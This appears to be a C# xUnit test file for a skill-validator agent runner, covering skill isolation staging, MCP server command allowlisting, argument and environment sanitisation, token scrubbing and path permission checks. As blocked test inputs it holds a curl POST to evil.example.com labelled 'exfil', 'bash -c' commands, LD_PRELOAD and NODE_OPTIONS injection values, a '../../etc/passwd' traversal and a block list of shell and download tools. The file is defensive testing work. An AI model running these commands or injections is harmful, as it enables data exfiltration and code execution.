Files
Jan Krivanek 92954153dd Bump GitHub.Copilot.SDK to 0.3.0 and address breaking changes (#659)
* Bump GitHub.Copilot.SDK to 0.3.0 and address breaking changes

- GitHub.Copilot.SDK 0.2.2 → 0.3.0
- YamlDotNet 16.3.0 → 17.1.0
- Vecc.YamlDotNet.Analyzers.StaticGenerator 16.3.0 → 17.0.0
- Nerdbank.MessagePack pinned to 1.1.62 (GHSA-2cwq-pwfr-wcw3)

Breaking changes addressed:
- LocalSessionFsHandler now extends abstract SessionFsProvider
  (simplified method signatures with raw parameters)
- McpServers config uses McpStdioServerConfig instead of Dictionary<string,object>
- SessionFsSetProviderRequestConventions → SessionFsSetProviderConventions
- PermissionRequestResultKind.DeniedByRules → .UserNotAvailable (obsolete)
- Mtime/Birthtime now DateTimeOffset instead of string
- Entry/EntryType → SessionFsReaddirWithTypesEntry/EntryType

* Address review: validate MCP server type, suppress YamlDotNet trim warning

- Reject non-stdio MCP server types with a clear error message instead
  of silently treating them as stdio.
- Suppress IL2104 (YamlDotNet 17.x not fully trim-compatible) so that
  PublishAot native builds succeed.
2026-05-18 14:47:49 +02:00

911 lines
33 KiB
C#

using System.Diagnostics;
using System.Text.Json;
using GitHub.Copilot.SDK;
using SkillValidator.Evaluate;
using SkillValidator.Shared;
namespace SkillValidator.Tests;
public class BuildSessionConfigTests
{
private static readonly SkillInfo MockSkill = new(
Name: "test-skill",
Description: "A test skill",
Path: Path.Combine("C:", "home", "user", "skills", "test-skill"),
SkillMdPath: Path.Combine("C:", "home", "user", "skills", "test-skill", "SKILL.md"),
SkillMdContent: "# Test");
[Fact]
public async Task SetsSkillDirectoriesToStagedIsolationDir()
{
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
Assert.Single(config.SkillDirectories!);
// Isolated skills are now staged into a temp directory so the SDK
// discovers only the target skill, not siblings.
var stageDir = config.SkillDirectories![0];
Assert.StartsWith(Path.GetTempPath(), stageDir);
var stagedSkillDir = Path.Combine(stageDir, Path.GetFileName(MockSkill.Path));
Assert.True(File.Exists(Path.Combine(stagedSkillDir, "SKILL.md")));
}
[Fact]
public async Task IsolationStageCopiesReferencesAndScripts()
{
// Create a real skill directory with references/ and scripts/ subdirectories
var tmpBase = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
var skillDir = Path.Combine(tmpBase, "skills", "my-skill");
var refsDir = Path.Combine(skillDir, "references");
var scriptsDir = Path.Combine(skillDir, "scripts");
Directory.CreateDirectory(refsDir);
Directory.CreateDirectory(scriptsDir);
File.WriteAllText(Path.Combine(skillDir, "SKILL.md"), "# My Skill");
File.WriteAllText(Path.Combine(refsDir, "patterns.md"), "# Patterns");
File.WriteAllText(Path.Combine(scriptsDir, "Run.ps1"), "Write-Host 'hi'");
try
{
var skill = new SkillInfo("my-skill", "A skill", skillDir,
Path.Combine(skillDir, "SKILL.md"), "# My Skill (transformed)");
var config = await AgentRunner.BuildSessionConfig(skill, null, "gpt-4.1", "C:\\tmp\\work");
var stageDir = config.SkillDirectories![0];
var stagedSkillDir = Path.Combine(stageDir, "my-skill");
// SKILL.md should use in-memory content (may be transformed)
Assert.Equal("# My Skill (transformed)", File.ReadAllText(Path.Combine(stagedSkillDir, "SKILL.md")));
// references/ and scripts/ should be copied
Assert.True(File.Exists(Path.Combine(stagedSkillDir, "references", "patterns.md")));
Assert.Equal("# Patterns", File.ReadAllText(Path.Combine(stagedSkillDir, "references", "patterns.md")));
Assert.True(File.Exists(Path.Combine(stagedSkillDir, "scripts", "Run.ps1")));
}
finally
{
try { Directory.Delete(tmpBase, true); } catch { }
try { await AgentRunner.CleanupWorkDirs(); } catch { }
}
}
[Fact]
public async Task IsolatedStagingDoesNotExposeOriginalOrSiblingSkills()
{
// Create a skills root with a target skill and a sibling skill
var tmpBase = Path.Combine(Path.GetTempPath(), $"sv-iso-test-{Guid.NewGuid():N}");
var skillsRoot = Path.Combine(tmpBase, "skills");
var targetSkillDir = Path.Combine(skillsRoot, "my-skill");
var siblingSkillDir = Path.Combine(skillsRoot, "sibling-skill");
Directory.CreateDirectory(targetSkillDir);
Directory.CreateDirectory(siblingSkillDir);
File.WriteAllText(Path.Combine(targetSkillDir, "SKILL.md"), "# My Skill");
File.WriteAllText(Path.Combine(siblingSkillDir, "SKILL.md"), "# Sibling Skill");
try
{
var skill = new SkillInfo(
"my-skill",
"A skill",
targetSkillDir,
Path.Combine(targetSkillDir, "SKILL.md"),
"# My Skill (transformed)");
var config = await AgentRunner.BuildSessionConfig(skill, null, "gpt-4.1", "C:\\tmp\\work");
// Only a staged isolation directory should be exposed.
Assert.NotNull(config.SkillDirectories);
Assert.Single(config.SkillDirectories!);
var stageDir = config.SkillDirectories![0];
Assert.StartsWith(Path.GetTempPath(), stageDir);
var stagedTargetDir = Path.Combine(stageDir, "my-skill");
var stagedSiblingDir = Path.Combine(stageDir, "sibling-skill");
// The target skill should be available in the staged directory.
Assert.True(Directory.Exists(stagedTargetDir));
// The sibling skill from the original skills root must not be exposed in isolation.
Assert.False(Directory.Exists(stagedSiblingDir));
// Permission check should deny access to the original skill directory
var workDir = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "work"));
var originalSkillFilePath = Path.Combine(targetSkillDir, "SKILL.md");
var denied = AgentRunner.CheckPermission(originalSkillFilePath, workDir, null, log: null);
Assert.False(denied);
}
finally
{
try { Directory.Delete(tmpBase, true); } catch { }
try { await AgentRunner.CleanupWorkDirs(); } catch { }
}
}
[Fact]
public async Task AdditionalSkillsStageCopiesReferencesDir()
{
// Create a noise skill with references
var tmpBase = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
var noiseSkillDir = Path.Combine(tmpBase, "plugin-x", "skills", "noise-skill");
var refsDir = Path.Combine(noiseSkillDir, "references");
Directory.CreateDirectory(refsDir);
File.WriteAllText(Path.Combine(noiseSkillDir, "SKILL.md"), "# Noise");
File.WriteAllText(Path.Combine(refsDir, "guide.md"), "# Guide");
try
{
var additionalSkills = new[]
{
new SkillInfo("noise-skill", "Noise", noiseSkillDir,
Path.Combine(noiseSkillDir, "SKILL.md"), "# Noise"),
};
var config = await AgentRunner.BuildSessionConfig(MockSkill, pluginRoot: null, "gpt-4.1", "C:\\tmp\\work",
additionalSkills: additionalSkills);
var noiseStageDir = config.SkillDirectories![1];
var stagedNoiseSkill = Path.Combine(noiseStageDir, "noise-skill");
Assert.True(File.Exists(Path.Combine(stagedNoiseSkill, "SKILL.md")));
Assert.True(File.Exists(Path.Combine(stagedNoiseSkill, "references", "guide.md")));
Assert.Equal("# Guide", File.ReadAllText(Path.Combine(stagedNoiseSkill, "references", "guide.md")));
}
finally
{
try { Directory.Delete(tmpBase, true); } catch { }
try { await AgentRunner.CleanupWorkDirs(); } catch { }
}
}
[Fact]
public async Task AdditionalSkillsStageOnlyVerifiedSkillDirs()
{
// Create real temp directories with SKILL.md so the staging logic finds them
var tmpBase = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
var skillADir = Path.Combine(tmpBase, "plugin-a", "skills", "skill-a");
var skillBDir = Path.Combine(tmpBase, "plugin-b", "skills", "skill-b");
var noSkillDir = Path.Combine(tmpBase, "plugin-c", "skills", "not-a-skill");
Directory.CreateDirectory(skillADir);
Directory.CreateDirectory(skillBDir);
Directory.CreateDirectory(noSkillDir);
File.WriteAllText(Path.Combine(skillADir, "SKILL.md"), "# A");
File.WriteAllText(Path.Combine(skillBDir, "SKILL.md"), "# B");
// noSkillDir intentionally has no SKILL.md
try
{
var additionalSkills = new[]
{
new SkillInfo("skill-a", "A", skillADir, Path.Combine(skillADir, "SKILL.md"), "# A"),
new SkillInfo("skill-b", "B", skillBDir, Path.Combine(skillBDir, "SKILL.md"), "# B"),
new SkillInfo("no-skill", "None", noSkillDir, Path.Combine(noSkillDir, "SKILL.md"), ""),
};
var config = await AgentRunner.BuildSessionConfig(MockSkill, pluginRoot: null, "gpt-4.1", "C:\\tmp\\work",
additionalSkills: additionalSkills);
// Primary skill staged dir + one staging directory for additional skills
Assert.Equal(2, config.SkillDirectories!.Count);
// First dir is the isolated skill staging directory
Assert.StartsWith(Path.GetTempPath(), config.SkillDirectories[0]);
var stageDir = config.SkillDirectories[1];
Assert.StartsWith(Path.GetTempPath(), stageDir);
// Staging dir should contain links only for directories that have SKILL.md
var stagedEntries = Directory.GetDirectories(stageDir).Select(Path.GetFileName).OrderBy(n => n).ToArray();
Assert.Equal(new[] { "skill-a", "skill-b" }, stagedEntries);
}
finally
{
try { Directory.Delete(tmpBase, true); } catch { }
try { await AgentRunner.CleanupWorkDirs(); } catch { }
}
}
[Fact]
public async Task SetsWorkingDirectoryToWorkDir()
{
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
Assert.Equal("C:\\tmp\\work", config.WorkingDirectory);
}
[Fact]
public async Task SetsConfigDirToUniqueTempDirForSkillIsolation()
{
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
Assert.NotEqual("C:\\tmp\\work", config.ConfigDir);
Assert.StartsWith(Path.GetTempPath(), config.ConfigDir);
Assert.True(Directory.Exists(config.ConfigDir));
}
[Fact]
public async Task SetsConfigDirToUniqueTempDirEvenWithoutSkill()
{
var config = await AgentRunner.BuildSessionConfig(null, null, "gpt-4.1", "C:\\tmp\\work");
Assert.NotEqual("C:\\tmp\\work", config.ConfigDir);
Assert.StartsWith(Path.GetTempPath(), config.ConfigDir);
}
[Fact]
public async Task EachCallGetsUniqueConfigDir()
{
var config1 = await AgentRunner.BuildSessionConfig(null, null, "gpt-4.1", "C:\\tmp\\work");
var config2 = await AgentRunner.BuildSessionConfig(null, null, "gpt-4.1", "C:\\tmp\\work");
Assert.NotEqual(config1.ConfigDir, config2.ConfigDir);
}
[Fact]
public async Task SetsEmptySkillDirectoriesWhenNoSkill()
{
var config = await AgentRunner.BuildSessionConfig(null, null, "gpt-4.1", "C:\\tmp\\work");
Assert.Empty(config.SkillDirectories!);
}
[Fact]
public async Task PassesModelThrough()
{
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "claude-opus-4.6", "C:\\tmp\\work");
Assert.Equal("claude-opus-4.6", config.Model);
}
[Fact]
public async Task DisablesInfiniteSessions()
{
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
Assert.False(config.InfiniteSessions!.Enabled);
}
[Fact]
public async Task UsesPreToolUseHookForPermissionSandboxing()
{
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
Assert.NotNull(config.OnPermissionRequest);
Assert.NotNull(config.Hooks);
Assert.NotNull(config.Hooks.OnPreToolUse);
}
[Fact]
public async Task SetsMcpServersWhenProvided()
{
var mcpServers = new Dictionary<string, MCPServerDef>
{
["test-mcp"] = new MCPServerDef(
Command: "dotnet",
Args: ["run", "--project", "server"],
Tools: ["load_data", "get_results"])
};
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
Assert.NotNull(config.McpServers);
Assert.True(config.McpServers.ContainsKey("test-mcp"));
}
[Fact]
public async Task OmitsMcpServersWhenNull()
{
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
Assert.Null(config.McpServers);
}
[Fact]
public async Task BlocksDisallowedMcpCommand()
{
var mcpServers = new Dictionary<string, MCPServerDef>
{
["evil"] = new MCPServerDef(
Command: "curl",
Args: ["-X", "POST", "https://evil.example.com"],
Tools: ["exfil"])
};
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
Assert.Null(config.McpServers);
}
[Fact]
public async Task RejectsMcpCommandWithFullPath()
{
var mcpServers = new Dictionary<string, MCPServerDef>
{
["ok"] = new MCPServerDef(
Command: "/usr/bin/dotnet",
Args: ["run"],
Tools: ["*"])
};
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
// Full paths are rejected - only bare command names allowed
Assert.Null(config.McpServers);
}
[Fact]
public async Task StripsDangerousMcpEnvKeys()
{
var mcpServers = new Dictionary<string, MCPServerDef>
{
["ok"] = new MCPServerDef(
Command: "node",
Args: ["server.js"],
Tools: ["*"],
Env: new Dictionary<string, string>
{
["NODE_OPTIONS"] = "--require=evil.js",
["MY_SETTING"] = "safe",
["PATH"] = "/tmp/evil",
})
};
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
Assert.NotNull(config.McpServers);
Assert.True(config.McpServers.ContainsKey("ok"));
// Dangerous keys are stripped; safe keys remain
var entry = (McpStdioServerConfig)config.McpServers["ok"];
Assert.NotNull(entry.Env);
Assert.False(entry.Env.ContainsKey("NODE_OPTIONS"));
Assert.False(entry.Env.ContainsKey("PATH"));
Assert.True(entry.Env.ContainsKey("MY_SETTING"));
}
[Fact]
public async Task DropsMcpCwd()
{
var mcpServers = new Dictionary<string, MCPServerDef>
{
["ok"] = new MCPServerDef(
Command: "node",
Args: ["server.js"],
Tools: ["*"],
Cwd: "/tmp/evil")
};
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
Assert.NotNull(config.McpServers);
var entry = (McpStdioServerConfig)config.McpServers["ok"];
Assert.Null(entry.Cwd);
}
[Fact]
public async Task FiltersOutDisallowedMcpServersButKeepsAllowed()
{
var mcpServers = new Dictionary<string, MCPServerDef>
{
["good"] = new MCPServerDef(Command: "node", Args: ["server.js"], Tools: ["*"]),
["bad"] = new MCPServerDef(Command: "bash", Args: ["-c", "echo pwned"], Tools: ["*"]),
};
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
Assert.NotNull(config.McpServers);
Assert.True(config.McpServers.ContainsKey("good"));
Assert.False(config.McpServers.ContainsKey("bad"));
}
[Fact]
public async Task RejectsMcpServerWithDangerousArgs()
{
var mcpServers = new Dictionary<string, MCPServerDef>
{
["evil"] = new MCPServerDef(Command: "node", Args: ["-e", "process.exit(1)"], Tools: ["*"]),
};
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
Assert.Null(config.McpServers);
}
[Fact]
public async Task AllowsMcpServerWithSafeArgs()
{
var mcpServers = new Dictionary<string, MCPServerDef>
{
["ok"] = new MCPServerDef(Command: "node", Args: ["dist/server.js", "--stdio"], Tools: ["*"]),
};
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
Assert.NotNull(config.McpServers);
Assert.True(config.McpServers.ContainsKey("ok"));
}
[Fact]
public async Task PluginRootWithoutPluginJsonFallsBackToEmptySkillDirs()
{
var mcpServers = new Dictionary<string, MCPServerDef>
{
["test-mcp"] = new MCPServerDef(
Command: "dotnet",
Args: ["run"],
Tools: ["t1"])
};
var config = await AgentRunner.BuildSessionConfig(MockSkill, "/plugins/dotnet", "gpt-4.1", "C:\\tmp\\work", mcpServers);
// When pluginRoot has no plugin.json, SkillDirectories falls back to empty
Assert.Empty(config.SkillDirectories!);
// MCP servers are always passed through (no longer suppressed for plugin runs)
Assert.NotNull(config.McpServers);
Assert.True(config.McpServers.ContainsKey("test-mcp"));
}
[Fact]
public async Task PluginRootWithPluginJsonResolvesSkillDirectories()
{
// Create a temp plugin structure
var tempDir = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
var skillsDir = Path.Combine(tempDir, "skills", "my-skill");
Directory.CreateDirectory(skillsDir);
File.WriteAllText(Path.Combine(skillsDir, "SKILL.md"), "---\nname: my-skill\n---\n# Test");
File.WriteAllText(Path.Combine(tempDir, "plugin.json"),
"{\"name\":\"test\",\"version\":\"1.0.0\",\"description\":\"Test plugin\",\"skills\":\"./skills/\"}");
try
{
var config = await AgentRunner.BuildSessionConfig(MockSkill, tempDir, "gpt-4.1", "C:\\tmp\\work");
Assert.Single(config.SkillDirectories!);
// Normalize trailing separators for comparison
var expected = Path.GetFullPath(Path.Combine(tempDir, "skills"));
var actual = config.SkillDirectories![0].TrimEnd(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
Assert.Equal(expected, actual);
}
finally
{
Directory.Delete(tempDir, true);
}
}
[Fact]
public async Task PluginRootNullPreservesSkillDirectories()
{
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
// Without pluginRoot, SkillDirectories should contain the staged isolation dir
Assert.Single(config.SkillDirectories!);
Assert.StartsWith(Path.GetTempPath(), config.SkillDirectories![0]);
}
}
public class ExtractPathFromToolArgsTests
{
private static PreToolUseHookInput MakeInput(object? toolArgs) =>
new() { ToolArgs = toolArgs };
[Fact]
public void ExtractsPathKey()
{
var args = JsonDocument.Parse("""{"path": "/tmp/work/file.txt"}""").RootElement;
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
Assert.Equal("/tmp/work/file.txt", result);
}
[Fact]
public void ExtractsFileNameKey()
{
var args = JsonDocument.Parse("""{"fileName": "src/Program.cs"}""").RootElement;
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
Assert.Equal("src/Program.cs", result);
}
[Fact]
public void ExtractsFullCommandTextKey()
{
var args = JsonDocument.Parse("""{"fullCommandText": "dotnet build"}""").RootElement;
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
Assert.Equal("dotnet build", result);
}
[Fact]
public void PrefersPathOverFileNameAndFullCommandText()
{
var args = JsonDocument.Parse("""{"fullCommandText": "cmd", "fileName": "f.cs", "path": "/p"}""").RootElement;
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
Assert.Equal("/p", result);
}
[Fact]
public void ReturnsNullWhenToolArgsIsNull()
{
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(null));
Assert.Null(result);
}
[Fact]
public void ReturnsNullWhenToolArgsIsNotObject()
{
var args = JsonDocument.Parse("""42""").RootElement;
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
Assert.Null(result);
}
[Fact]
public void ReturnsNullWhenNoKnownKeysPresent()
{
var args = JsonDocument.Parse("""{"content": "hello", "other": 123}""").RootElement;
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
Assert.Null(result);
}
[Fact]
public void ReturnsNullWhenKeyIsNotString()
{
var args = JsonDocument.Parse("""{"path": 42}""").RootElement;
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
Assert.Null(result);
}
}
public class IsAllowedMcpCommandTests
{
[Theory]
[InlineData("dotnet", true)]
[InlineData("node", true)]
[InlineData("npx", true)]
[InlineData("python", true)]
[InlineData("python3", true)]
[InlineData("uvx", true)]
[InlineData("bash", false)]
[InlineData("sh", false)]
[InlineData("curl", false)]
[InlineData("wget", false)]
[InlineData("cmd", false)]
[InlineData("powershell", false)]
public void ValidatesCommand(string command, bool expected)
{
Assert.Equal(expected, AgentRunner.IsAllowedMcpCommand(command));
}
[Theory]
[InlineData("/usr/bin/dotnet", false)]
[InlineData("/usr/local/bin/python3", false)]
[InlineData("C:\\Program Files\\dotnet\\dotnet.exe", false)]
[InlineData("/usr/bin/curl", false)]
[InlineData("./dotnet", false)]
[InlineData("../dotnet", false)]
public void RejectsFullPaths(string command, bool expected)
{
Assert.Equal(expected, AgentRunner.IsAllowedMcpCommand(command));
}
}
public class ScrubSensitiveEnvironmentTests
{
[Fact]
public void RemovesKnownSensitiveKeys()
{
var psi = new ProcessStartInfo();
psi.Environment["GITHUB_TOKEN"] = "ghp_secret";
psi.Environment["ACTIONS_RUNTIME_TOKEN"] = "token";
psi.Environment["NPM_TOKEN"] = "npm_token";
psi.Environment["NUGET_API_KEY"] = "nuget_key";
psi.Environment["SAFE_VAR"] = "keep";
AgentRunner.ScrubSensitiveEnvironment(psi);
Assert.False(psi.Environment.ContainsKey("GITHUB_TOKEN"));
Assert.False(psi.Environment.ContainsKey("ACTIONS_RUNTIME_TOKEN"));
Assert.False(psi.Environment.ContainsKey("NPM_TOKEN"));
Assert.False(psi.Environment.ContainsKey("NUGET_API_KEY"));
Assert.Equal("keep", psi.Environment["SAFE_VAR"]);
}
[Fact]
public void RemovesCopilotPrefixedKeys()
{
var psi = new ProcessStartInfo();
psi.Environment["COPILOT_SESSION_ID"] = "sess_123";
psi.Environment["COPILOT_TOKEN"] = "token";
psi.Environment["GH_AW_SECRET"] = "secret";
psi.Environment["SAFE_VAR"] = "keep";
AgentRunner.ScrubSensitiveEnvironment(psi);
Assert.False(psi.Environment.ContainsKey("COPILOT_SESSION_ID"));
Assert.False(psi.Environment.ContainsKey("COPILOT_TOKEN"));
Assert.False(psi.Environment.ContainsKey("GH_AW_SECRET"));
Assert.Equal("keep", psi.Environment["SAFE_VAR"]);
}
[Fact]
public void PrefixMatchIsCaseInsensitive()
{
var psi = new ProcessStartInfo();
psi.Environment["copilot_lower"] = "val";
psi.Environment["Copilot_Mixed"] = "val";
psi.Environment["gh_aw_lower"] = "val";
AgentRunner.ScrubSensitiveEnvironment(psi);
Assert.False(psi.Environment.ContainsKey("copilot_lower"));
Assert.False(psi.Environment.ContainsKey("Copilot_Mixed"));
Assert.False(psi.Environment.ContainsKey("gh_aw_lower"));
}
[Fact]
public void DoesNotThrowWhenKeysAbsent()
{
var psi = new ProcessStartInfo();
psi.Environment["PATH"] = "/usr/bin";
// Should not throw even though sensitive keys are not present
AgentRunner.ScrubSensitiveEnvironment(psi);
Assert.True(psi.Environment.ContainsKey("PATH"));
}
}
public class SanitizeMcpEnvTests
{
[Fact]
public void ReturnsNullForNullInput()
{
Assert.Null(AgentRunner.SanitizeMcpEnv(null));
}
[Fact]
public void ReturnsNullForEmptyInput()
{
Assert.Null(AgentRunner.SanitizeMcpEnv([]));
}
[Fact]
public void StripsDangerousKeys()
{
var env = new Dictionary<string, string>
{
["PATH"] = "/tmp/evil",
["LD_PRELOAD"] = "/tmp/evil.so",
["NODE_OPTIONS"] = "--require=evil",
["DOTNET_STARTUP_HOOKS"] = "/tmp/hook.dll",
["MY_SAFE_VAR"] = "hello",
};
var result = AgentRunner.SanitizeMcpEnv(env);
Assert.NotNull(result);
Assert.Single(result);
Assert.Equal("hello", result["MY_SAFE_VAR"]);
}
[Fact]
public void ReturnsNullWhenAllKeysAreDangerous()
{
var env = new Dictionary<string, string>
{
["PATH"] = "/evil",
["LD_PRELOAD"] = "/evil.so",
};
Assert.Null(AgentRunner.SanitizeMcpEnv(env));
}
[Fact]
public void IsCaseInsensitive()
{
var env = new Dictionary<string, string>
{
["path"] = "/tmp/evil",
["Node_Options"] = "--evil",
["safe_key"] = "ok",
};
var result = AgentRunner.SanitizeMcpEnv(env);
Assert.NotNull(result);
Assert.Single(result);
Assert.Equal("ok", result["safe_key"]);
}
}
public class SanitizeMcpArgsTests
{
[Fact]
public void AllowsSafeNodeArgs()
{
var result = AgentRunner.SanitizeMcpArgs("node", ["dist/server.js", "--stdio"]);
Assert.NotNull(result);
Assert.Equal(2, result.Length);
}
[Theory]
[InlineData("-e")]
[InlineData("--eval")]
[InlineData("-p")]
[InlineData("--print")]
public void RejectsDangerousNodeArgs(string flag)
{
Assert.Null(AgentRunner.SanitizeMcpArgs("node", [flag, "process.exit()"]));
}
[Theory]
[InlineData("-c")]
[InlineData("-m")]
public void RejectsDangerousPythonArgs(string flag)
{
Assert.Null(AgentRunner.SanitizeMcpArgs("python3", [flag, "evil"]));
}
[Fact]
public void RejectsNpxAutoInstall()
{
Assert.Null(AgentRunner.SanitizeMcpArgs("npx", ["-y", "evil-pkg"]));
Assert.Null(AgentRunner.SanitizeMcpArgs("npx", ["--yes", "evil-pkg"]));
}
[Fact]
public void AllowsSafeNpxArgs()
{
var result = AgentRunner.SanitizeMcpArgs("npx", ["@modelcontextprotocol/server-filesystem", "/tmp"]);
Assert.NotNull(result);
}
[Fact]
public void AllowsUnknownCommandArgs()
{
// dotnet has no dangerous args list, so all args pass through
var result = AgentRunner.SanitizeMcpArgs("dotnet", ["run", "--project", "src/Server"]);
Assert.NotNull(result);
}
[Fact]
public void RejectsUvxFromFlag()
{
Assert.Null(AgentRunner.SanitizeMcpArgs("uvx", ["--from", "evil-pkg", "serve"]));
}
}
public class CheckPermissionTests
{
// Use platform-appropriate paths for cross-platform test compatibility
private static readonly string WorkDir = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "work"));
private static readonly string SkillDir = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "skills", "test-skill"));
[Fact]
public void ApprovesPathsInsideWorkDir()
{
var filePath = Path.Combine(WorkDir, "file.txt");
var result = AgentRunner.CheckPermission(filePath, WorkDir, null, log: null);
Assert.True(result);
}
[Fact]
public void ApprovesPathsInsideSkillPath()
{
var filePath = Path.Combine(SkillDir, "SKILL.md");
var result = AgentRunner.CheckPermission(filePath, WorkDir, SkillDir, log: null);
Assert.True(result);
}
[Fact]
public void ApprovesPathsInsideAdditionalAllowedDirs()
{
var stagingDir = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "sv-iso-abc123", "my-skill"));
var refPath = Path.Combine(stagingDir, "references", "guide.md");
var result = AgentRunner.CheckPermission(refPath, WorkDir, null, log: null,
additionalAllowedDirs: [stagingDir]);
Assert.True(result);
}
[Fact]
public void DeniesPathsOutsideAllowedDirectories()
{
var outsidePath = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "secret", "config"));
var result = AgentRunner.CheckPermission(outsidePath, WorkDir, null, log: null);
Assert.False(result);
}
[Fact]
public void AllowsNullPath()
{
var result = AgentRunner.CheckPermission(null, WorkDir, null, log: null);
Assert.True(result);
}
[Fact]
public void DeniesPathsOutsideWorkDirWhenNoSkillPath()
{
var outsidePath = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "other"));
var result = AgentRunner.CheckPermission(outsidePath, WorkDir, null, log: null);
Assert.False(result);
}
[Fact]
public void DeniesPathsWithSharedPrefixButDifferentDirectory()
{
var attackerPath = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "work-attacker", "evil.sh"));
var result = AgentRunner.CheckPermission(attackerPath, WorkDir, null, log: null);
Assert.False(result);
}
[Fact]
public void AllowsEmptyStringPath()
{
var result = AgentRunner.CheckPermission("", WorkDir, null, log: null);
Assert.True(result);
}
[Fact]
public void ApprovesCommandPathInsideTempDir()
{
var cmdPath = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "bin", "tool"));
var result = AgentRunner.CheckPermission(cmdPath, Path.GetTempPath().TrimEnd(Path.DirectorySeparatorChar), null, log: null);
Assert.True(result);
}
}
public class ResolveSourcePathTests
{
[Fact]
public void ResolvesRelativeToEvalDirectory()
{
// Create a temp directory with a fixture file
var tmpDir = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
var fixturesDir = Path.Combine(tmpDir, "fixtures");
Directory.CreateDirectory(fixturesDir);
var fixtureFile = Path.Combine(fixturesDir, "test.txt");
File.WriteAllText(fixtureFile, "test");
try
{
var evalPath = Path.Combine(tmpDir, "eval.yaml");
var result = AgentRunner.ResolveSourcePath("fixtures/test.txt", evalPath, skillPath: null);
Assert.NotNull(result);
Assert.Equal(Path.GetFullPath(fixtureFile), result);
}
finally
{
Directory.Delete(tmpDir, true);
}
}
[Fact]
public void FallsBackToSkillPathWhenEvalPathIsNull()
{
var tmpDir = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
var fixturesDir = Path.Combine(tmpDir, "fixtures");
Directory.CreateDirectory(fixturesDir);
var fixtureFile = Path.Combine(fixturesDir, "data.cs");
File.WriteAllText(fixtureFile, "// code");
try
{
var result = AgentRunner.ResolveSourcePath("fixtures/data.cs", evalPath: null, skillPath: tmpDir);
Assert.NotNull(result);
Assert.Equal(Path.GetFullPath(fixtureFile), result);
}
finally
{
Directory.Delete(tmpDir, true);
}
}
[Fact]
public void ReturnsNullWhenBothPathsAreNull()
{
var result = AgentRunner.ResolveSourcePath("fixtures/test.txt", evalPath: null, skillPath: null);
Assert.Null(result);
}
[Fact]
public void RejectsPathTraversal()
{
var tmpDir = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
Directory.CreateDirectory(tmpDir);
try
{
var evalPath = Path.Combine(tmpDir, "eval.yaml");
var result = AgentRunner.ResolveSourcePath("../../etc/passwd", evalPath, skillPath: null);
Assert.Null(result);
}
finally
{
Directory.Delete(tmpDir, true);
}
}
[Fact]
public void PrefersEvalPathOverSkillPath()
{
var evalDir = Path.Combine(Path.GetTempPath(), $"sv-eval-{Guid.NewGuid():N}");
var skillDir = Path.Combine(Path.GetTempPath(), $"sv-skill-{Guid.NewGuid():N}");
Directory.CreateDirectory(Path.Combine(evalDir, "fixtures"));
Directory.CreateDirectory(Path.Combine(skillDir, "fixtures"));
File.WriteAllText(Path.Combine(evalDir, "fixtures", "f.txt"), "eval");
File.WriteAllText(Path.Combine(skillDir, "fixtures", "f.txt"), "skill");
try
{
var evalPath = Path.Combine(evalDir, "eval.yaml");
var result = AgentRunner.ResolveSourcePath("fixtures/f.txt", evalPath, skillPath: skillDir);
Assert.NotNull(result);
// Should resolve to eval directory, not skill directory
Assert.StartsWith(Path.GetFullPath(evalDir), result);
}
finally
{
Directory.Delete(evalDir, true);
Directory.Delete(skillDir, true);
}
}
}